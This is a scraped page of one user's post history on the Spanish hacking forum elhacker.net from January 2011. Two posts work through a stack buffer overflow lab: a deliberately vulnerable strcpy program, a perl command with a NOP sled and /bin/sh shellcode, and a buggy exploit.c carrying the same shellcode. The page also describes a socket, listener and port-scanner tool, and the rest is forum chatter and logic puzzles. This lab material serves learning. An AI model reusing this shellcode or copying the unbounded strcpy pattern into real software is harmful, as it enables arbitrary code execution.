elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6
11  Seguridad Informática / Bugs y Exploits / [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!] en: 22 Enero 2011, 17:50 pm
Bueno, ahi va el titulo, la cosa es que tengo un programita con una vulnerabilidad y lo estoy explotando. El otro dia consegui manejar el transcurso de la aplicacion, y ahora abrir una shellcode...
Lo hago asi:
Código:
 ./vuln [23 NOPS + 25 Shellcode + 4 RET] 
La idea la saque de un post antiguo del foro... Evidentemente se puede cambiar la posicion de los Nops, pero bueno...

Bueno, consigo la shellcode al correrlo asi:
Código:
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$
Pero a la hora de hacer el exploit...
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$ gdb -q exploit
(gdb) r
Starting program: /home/juanra/Escritorio/Shell/exploit

Program received signal SIGSEGV, Segmentation fault.
0xb77521f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb)

Tengo este codigo, en el que también va como comentario el vulnerable...
Código
  1. /*
  2. First BoF Linux attack : Sagrini 2010 : elhacker.net
  3. 23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59
  4.  
  5. gcc -o vuln vuln.c --no-stack-protector -g -z execstack
  6. ./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
  7. $
  8.  
  9. gcc -o exploit exploit.c
  10. ./exploit
  11. $
  12.  
  13. ------------------------------------------
  14. !!! Vuln code !!!
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18.  
  19. void soy_vuln(char *arg)
  20. {
  21. char buffer [48];
  22. strcpy (buffer, arg);
  23. }
  24.  
  25. int main(int argc, char *argv[])
  26. {
  27. if (argc != 2) return 1;
  28. soy_vuln(argv[1]);
  29. }
  30. ------------------------------------------
  31. */
  32.  
  33. #include <stdio.h>
  34. #include <string.h>
  35.  
  36. int main ()
  37. {
  38. printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net");
  39.  
  40. char nops [23];
  41. memset (nops, '\x90', 23);
  42. char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  43. char ret [4] = "\x18\x1f\x9b\xbf";
  44.  
  45. char command [59];
  46. strcpy (command, "./vuln ");
  47. strcpy (command, nops);
  48. strcpy (command, shellcode);
  49. strcpy (command, ret);
  50. execve (command, command, NULL);
  51.  
  52. return 0;
  53. }
  54.  
  55.  

Ahora mi pregunta es... ¿Qué falla?
12  Foros Generales / Sugerencias y dudas sobre el Foro / ¿ Crear encuestas ? en: 20 Enero 2011, 18:42 pm
Bueno, estuve buscando por el foro pero lo poco que he encontrado es que para crear una encuesta le das a "Crear encuesta". Ese texto tendra sus años... Por que en algunos foros, como en el libre, no se pueden hacer encuestas? Y en cuales si se puede?

Es una dudilla que me ha salido al ver este post, si alguien lo quiere saber...
http://foro.elhacker.net/dudas_generales/poner_link_prolijamente-t317302.0.html;msg1570636;boardseen#new
Mensaje de Novlucker...
13  Foros Generales / Sugerencias y dudas sobre el Foro / ¿ Hay un mod en la Papelera ? en: 18 Enero 2011, 21:16 pm
Bueno, estoy teniendo un problemilla con algunos mensajes que "desaparecen"...
Estuve leyendo las normas, y se que la informacion es secreta  :¬¬ pero... Hay alguien en la papelera que vaya mirando si los post estan bien borrados?
14  Programación / Programación C/C++ / [Tutorial] Introducion a los sockets en Ansi C : By Sagrini 2010 en: 17 Enero 2011, 19:08 pm
Mmm, lo he reescrito para la Wiki...
http://wiki.elhacker.net/programacion/cc/articulos/introducion-a-los-sockets-en-ansi-c

Un saludo!
15  Seguridad Informática / Bugs y Exploits / ¡¡¡ No puedo sobreescribir el RET !!! en: 7 Enero 2011, 17:58 pm
Bueno, tengo un proyectito en las manos, pero no quiero empezarlo hasta acabar esta tonteria...
Escribo esto aqui porque el tema "No puedo sobreescribir EIP" ya no seria... "correcto"

Bueno, hice un programa muy sencillito, BoF, para explotarlo en Linux. Desactivo protecciones, y me encuentro con que
Mi code:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc, char *argv [])
  6. {
  7. if (argc != 2) return 1;
  8. char buffer [4];
  9. strcpy (buffer, argv [1]);
  10. return 0;
  11. }
  12.  
  13.  
  14. int feo ()
  15. {
  16. printf ("Hola");
  17. exit (1);
  18. }
  19.  
Ahora, corro en GDB, y...
Código:
(gdb) r $(perl -e 'print "A"x8 ."B"x4;')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x8 ."B"x4;')

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main ()
(gdb)
Por que no me muestra el mensajito de "Cann't access memory at position 0x41414141"?
PD: Tengo la shellcode lista y preparada... Gracias por leer y (espero) vuestras respuestas.
PD2: Aparte, la shellcode es para luego. Lo que quiero es que me salte a la funcion feo. Mas tarde metere la shellcode...
16  Foros Generales / Sugerencias y dudas sobre el Foro / ¿ Localizacion elhacker.net ? en: 7 Enero 2011, 17:43 pm
Bueno, el otro dia lei que elhacker.net estaba en un server de EE.UU. Es eso cierto?
He mirado en el Geo-Localizador y me da en Tampa, EEUU. Que tiene allí montado Alex? Quiero decir... para administracion, EEUU. Esta el alli, o se pega viajecitos cada dos dias por nosotros?

Desde aqui elogio su esfuerzo xD. Tiene que ser dificilisimo. Todo lo que quieras... César, aquí tienes a tu ejército jaja. Si necesitas lo que sea...
17  Foros Generales / Foro Libre / ¿Que os han traido los Reyes Magos? ¿Habeis sido buenos? en: 6 Enero 2011, 10:38 am
Pues eso  ::). Es por curiosidad. Os habeis portado bien?
A mi me han traido el Call of Duty Modern Warfare y juego muy bueno de fichas con las que tienes que ir haciendo "construcciones". Para pasar el rato xD tira para largo...  ;) Bueno y un boli... por ahora. Ahora aprovecho la tradicion y visito a mi abuela  :silbar:
18  Programación / Programación C/C++ / hK 2.0 : Uso de sockets en C en: 5 Enero 2011, 17:59 pm
Bueno, escribo este post para comentaros el programa que hice para el concurso de 2010 de elhacker.net:
http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html

Bueno, pues la cosa es que el programa no tuvo mucha aceptacion, creo principalmente porque su uso era dificil y mas de uno se obstino en hacerlo arrancar...

Citar
hK 2.0 - By Sagrini (2010) - elhacker.net
Para Linux / Unix / BSD : Ansi C
Ehn-Dev concurso 2010

Argumentos: <opciones> <datos>
Opciones:
 -d --> Corre el programa en modo daemon.
 -v --> Corre el programa en la consola.

 -l <port> --> Espera una conexion y printa los datos recibidos.
 -c <ip> <port> --> Se conecta a la IP por X puerto y envia datos.
 -z <ip> --> Realiza un scan de la IP.

Usos:
 -1: Obtencion datos victima, puerto 80, info. de navegador y sistema, junto con No-IP, mini-chat, mini-server...
 -2: Envio de buffers over-flow de manera sencilla, telnet, mini-chat...
 -3: Obtencion de los puertos abiertos de una manera rapida y sencilla.
 -4: Todo lo que la imaginacion de un buen hacker quiera darle.

Compilacion: gcc -o hK hK.c

Descripcion:
   hK es una eficaz herramienta, escrita en lenguaje Ansi C, con multiples usos. Tiene varias formas de uso:
      1.- Escuchar en determinado puerto a la espera de una conexion.
          Sus usos en este mundillo pueden ser tanto obtencion de datos como la de chat, server...
      2.- Mini-Telnet, con la facilidad de uso de un juguete.
          Sus usos pueden ir de mandar buffers over-flow como de entablar un chat.
      3.- El mini-scanner incorporado hace mas facil la auditoria de sistemas, por su sencillo uso.

Como ven la presentacion era mala, y la explicacion...

Entonces me acorde de el cuando algun que otro usuario tuvo un problema con sockets en C.
Este post es sencillamente para que vean y examinen el code, lo cual poca gente tuvo en cuenta a la hora de votar  :-(.

Bueno, su estructura es sencilla. Lo unico lioso puede ser el uso de argumentos... Perdoooon.
La cosa es que el primer argumento era una palabra con las opciones del programa...
Sus usos podian ser:
./hK vl 31337  En consola. Espera conexion.
./hK vc 127.0.0.1 31337 En consola. Conecta.
./hK vz 127.0.0.1 En consola. Mira puertos abiertos

./hK dl 31337  Daemon. Espera conexion.
./hK dc 127.0.0.1 31337 Daemon. Conecta.
./hK dz 127.0.0.1 Daemon. Mira puertos abiertos


Pues os dejo el code y os pido lo mireis y opineis.
PD: Sii, ya se que el code es pesimo y muy sencillo y aburrido... Tened en cuenta que lo hice en muy poco tiempo xD...
----
Este post es referencia al uso de sockets. No piensen mal...
Expresa una sencilla forma de usarlos. Es un ejemplo de uso de sockets en un programa.

Esto es una pequeña avanzadilla. Voy a escribir un manual de sockets en C. Es de adelantado. Usaremos este code en el post...
19  Foros Generales / Foro Libre / Cuatro forma parte ya de Telecinco? en: 4 Enero 2011, 22:39 pm
Hace poco he visto en un anuncio (si, sigo viendo la tele, por desgracia...) que Cuatro era parte de Telecinco. Es eso cierto?
20  Seguridad Informática / Desafíos - Wargames / ¡ Conjunto de acertijos faciles ! en: 4 Enero 2011, 18:06 pm
Bueno, me puse a buscar por google algo para entretenerme :P y encontre esto:
http://platea.pntic.mec.es/jescuder/logica.htm
Pongo aqui los 100 primeros. Soluciones !!!

 1.  SILENCIO. Si Ángela habla más bajo que Rosa y Celia habla más alto que Rosa, ¿habla Ángela más alto o más bajo que Celia?

 2.  LA NOTA MEDIA. La nota media conseguida en una clase de 20 alumnos ha sido de 6. Ocho alumnos han suspendido con un 3 y el resto superó el 5. ¿Cuál es la nota media de los alumnos aprobados?

 3.  LOS CUATRO ATLETAS. De cuatro corredores de atletismo se sabe que C ha llegado inmediatamente detrás de B, y D ha llegado en medio de A y C. ¿Podría Vd. calcular el orden de llegada?

 4.  SEIS AMIGOS DE VACACIONES. Seis amigos desean pasar sus vacaciones juntos y deciden, cada dos, utilizar diferentes medios de transporte; sabemos que Alejandro no utiliza el coche ya que éste acompaña a Benito que no va en avión. Andrés viaja en avión. Si Carlos no va acompañado de Darío ni hace uso del avión, podría Vd. decirnos en qué medio de transporte llega a su destino Tomás.

 5.  LOS CUATRO PERROS. Tenemos cuatro perros: un galgo, un dogo, un alano y un podenco. Éste último come más que el galgo; el alano come más que el galgo y menos que el dogo, pero éste come más que el podenco. ¿Cuál de los cuatro será más barato de mantener?

 6.  TENIS DE CATEGORÍA. En un partido del prestigioso torneo de tenis de Roland Garros se enfrentaron Agasy y Becker. El triunfo correspondió al primero por 6-3 y 7-5. Comenzó sacando Agasy y no perdió nunca su saque. Becker perdió su servicio dos veces. Agasy rompió el servicio de su rival en el segundo juego del primer set y, ¿en qué juego del segundo set?

 7.  SERPIENTES MARINAS. Un capitán en el Caribe fue rodeado por un grupo de serpientes marinas, muchas de las cuales eran ciegas. Tres no veían con los ojos a estribor, 3 no veían nada a babor, 3 podían ver a estribor, 3 a babor, 3 podían ver tanto a estribor como a babor, en tanto que otras 3 tenían ambos ojos arruinados. ¿Cuál es el mínimo número de serpientes necesarias para que con ellas se den todas esas circunstancias?

 8.  EL PARO AUMENTA. Con motivo de realizar un estudio estadístico de los componentes de una población, un agente analizó determinadas muestra de familias. El resultado fue el siguiente:
        1) Había más padres que hijos.
        2) Cada chico tenía una hermana.
        3) Había más chicos que chicas.
        4) No había padres sin hijos.
        ¿Qué cree Vd. que le ocurrió al agente?

 9.  PARTIDO DE TENIS. Santana ganó a Orantes un set de tenis por 6-3. Cinco juegos los ganó el jugador que no servía. ¿Quién sirvió primero?

10. CABALLOS. El caballo de Mac es más oscuro que el de Smith, pero más rápido y más viejo que el de Jack, que es aún más lento que el de Willy, que es más joven que el de Mac, que es más viejo que el de Smith, que es más claro que el de Willy, aunque el de Jack es más lento y más oscuro que el de Smith. ¿Cuál es el más viejo, cuál el más lento y cuál el más claro?

      En ocasiones, ciertas personas se encuentran en una situación crítica, y sólo por su agudeza e inteligencia pueden salir de ella.

11. EL EXPLORADOR CONDENADO. Un explorador cayó en manos de una tribu de indígenas, se le propuso la elección entre morir en la hoguera o envenenado. Para ello, el condenado debía pronunciar una frase tal que, si era cierta, moriría envenenado, y si era falsa, moriría en la hoguera. ¿Cómo escapó el condenado a su funesta suerte?

12.  EL PRISIONERO Y LOS DOS GUARDIANES. Un sultán encierra a un prisionero en una celda con dos guardianes, uno que dice siempre la verdad y otro que siempre miente. La celda tiene dos puertas: la de la libertad y la de la esclavitud. La puerta que elija el prisionero para salir de la celda decidirá su suerte.
         El prisionero tiene derecho de hacer una pregunta y sólo una a uno de los guardianes. Por supuesto, el prisionero no sabe cuál es el que dice la verdad y cuál es el que miente.
         ¿Puede el prisionero obtener la libertad de forma segura?

13.  EL PRISIONERO Y LOS TRES GUARDIANES. Imaginemos que hay tres puertas y tres guardias, dos en las condiciones anteriores y el tercero que dice verdad o mentira alternativamente. ¿Cuál es el menor número de preguntas que debe hacer para encontrar la libertad con toda seguridad?

14.  LOS 3 PRESOS Y LAS BOINAS (1). El director de una prisión llama a tres de sus presos, les enseña tres boinas blancas y dos boinas negras, y les dice: «Voy a colocar a cada uno de ustedes una boina en la cabeza, el primero de ustedes que me indique el color de la suya será puesto en libertad».
         Si los presos están en fila, de manera que el primero no puede ver las boinas de los otros dos, el segundo ve la boina del primero y el tercero ve las boinas de los otros dos. ¿Por qué razonamiento uno de los presos obtiene la libertad?

15.  LOS 3 PRESOS Y LAS BOINAS (2). El director de una prisión llama a tres de sus presos, les enseña tres boinas blancas y dos boinas negras, y les dice: «Voy a colocar a cada uno de ustedes una boina en la cabeza, el primero de ustedes que me indique el color de la suya será puesto en libertad».
         Si los presos pueden moverse, y por tanto ver las boinas de los otros dos. ¿Por qué razonamiento uno de los presos obtiene la libertad?

16.  LOS MARIDOS ENGAÑADOS. Cuarenta cortesanos de la corte de un sultán eran engañados por sus mujeres, cosa que era claramente conocida por todos los demás personajes de la corte sin excepción. Únicamente cada marido ignoraba su propia situación.
      El sultán: «Por lo menos uno de vosotros tiene una mujer infiel. Quiero que el que sea la expulse una mañana de la ciudad, cuando esté seguro de la infidelidad».
         Al cabo de 40 días, por la mañana, los cuarenta cortesanos engañados expulsaron a sus mujeres de la ciudad. ¿Por qué?

17.

18. EL CONDENADO A MUERTE. En los tiempos de la antigüedad la gracia o el castigo se dejaban frecuentemente al azar. Así, éste es el caso de un reo al que un sultán decidió que se salvase o muriese sacando al azar una papeleta de entre dos posibles: una con la sentencia "muerte", la otra con la palabra "vida", indicando gracia. Lo malo es que el Gran Visir, que deseaba que el acusado muriese, hizo que en las dos papeletas se escribiese la palabra "muerte". ¿Cómo se las arregló el reo, enterado de la trama del Gran Visir, para estar seguro de salvarse? Al reo no le estaba permitido hablar y descubrir así el enredo del Visir.

19. LAS DEPORTISTAS. Ana, Beatriz y Carmen. Una es tenista, otra gimnasta y otra nadadora. La gimnasta, la más baja de las tres, es soltera. Ana, que es suegra de Beatriz, es más alta que la tenista. ¿Qué deporte practica cada una?

20.   SILOGISMOS.  Ejemplo que está en todos los manuales de lógica elemental. El silogismo:
       «Los hombres son mortales,
         Sócrates es hombre.
         Luego, Sócrates es mortal».
         es indudablemente conocido e inevitablemente válido. Qué ocurre con el siguiente:
       «Los chinos son numerosos,
         Confucio es chino.
         Luego, Confucio es numeroso».

21. EL TORNEO DE AJEDREZ. En un torneo de ajedrez participaron 30 concursantes que fueron divididos, de acuerdo con su categoría, en dos grupos. En cada grupo los participantes jugaron una partida contra todos los demás. En total se jugaron 87 partidas más en el segundo grupo que en el primero. El ganador del primer grupo no perdió ninguna partida y totalizó 7'5 puntos. ¿En cuántas partidas hizo tablas el ganador?

22. LAS TRES CARTAS. Tres naipes, sacados de una baraja francesa, yacen boca arriba en una fila horizontal. A la derecha de un Rey hay una o dos Damas. A la izquierda de una Dama hay una o dos Damas. A la izquierda de un corazón hay una o dos picas. A la derecha de una pica hay una o dos picas. Dígase de qué tres cartas se trata.

23. TRES PAREJAS EN LA DISCOTECA. Tres parejas de jóvenes fueron a una discoteca. Una de las chicas vestía de rojo, otra de verde, y la tercera, de azul. Sus acompañantes vestían también de estos mismos colores. Ya estaban las parejas en la pista cuando el chico de rojo, pasando al bailar junto a la chica de verde, le habló así:
     Carlos: ¿Te has dado cuenta Ana? Ninguno de nosotros tiene pareja vestida de su mismo color.
        Con esta información, ¿se podrá deducir de qué color viste el compañero de baile de la chica de rojo?

24. BLANCO, RUBIO Y CASTAÑO. Tres personas, de apellidos Blanco, Rubio y Castaño, se conocen en una reunión. Poco después de hacerse las presentaciones, la dama hace notar:
         "Es muy curioso que nuestros apellidos sean Blanco Rubio y Castaño, y que nos hayamos reunido aquí tres personas con ese color de cabello"
         "Sí que lo es -dijo la persona que tenía el pelo rubio-, pero habrás observado que nadie tiene el color de pelo que corresponde a su apellido." "¡Es verdad!" -exclamó quien se apellidaba Blanco.
         Si la dama no tiene el pelo castaño, ¿de qué color es el cabello de Rubio?

25. LOS CIEN POLÍTICOS. Cierta convención reunía a cien políticos. Cada político era o bien deshonesto o bien honesto. Se dan los datos:
         a) Al menos uno de los políticos era honesto.
         b) Dado cualquier par de políticos, al menos uno de los dos era deshonesto. ¿Puede determinarse partiendo de estos dos datos cuántos políticos eran honestos y cuántos deshonestos?
Páginas: 1 [2] 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines